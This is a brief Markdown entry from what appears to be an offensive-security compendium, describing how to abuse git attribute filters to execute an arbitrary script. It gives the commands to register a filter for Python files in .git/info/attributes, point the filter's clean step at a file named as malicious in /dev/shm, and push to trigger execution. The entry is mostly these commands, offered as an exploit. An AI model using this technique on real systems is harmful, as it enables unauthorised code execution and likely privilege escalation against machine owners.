killchain-compendium/Exploits/Git/Git Attributes.md

15 lines
593 B
Markdown

# Git Attributes
[Git Attributes]( https://www.git-scm.com/docs/gitattributes) can be used to introduce scripts modifying files before pushing. That means the you can prepare a scripts for example linting by filtetype, and call it via attributes afterwards.
Therefore, you need to create an attributes file at `.git/info/attributes`. Insert something that makes sense, e.g.
```sh
echo "*.py filter=indent" > .git/info/attributes
```
reference the file as the filter via
```sh
git config filter.indent.clean /dev/shm/$MALICIOUS_FILE
```
Push to origin afterwards to trigger the filter file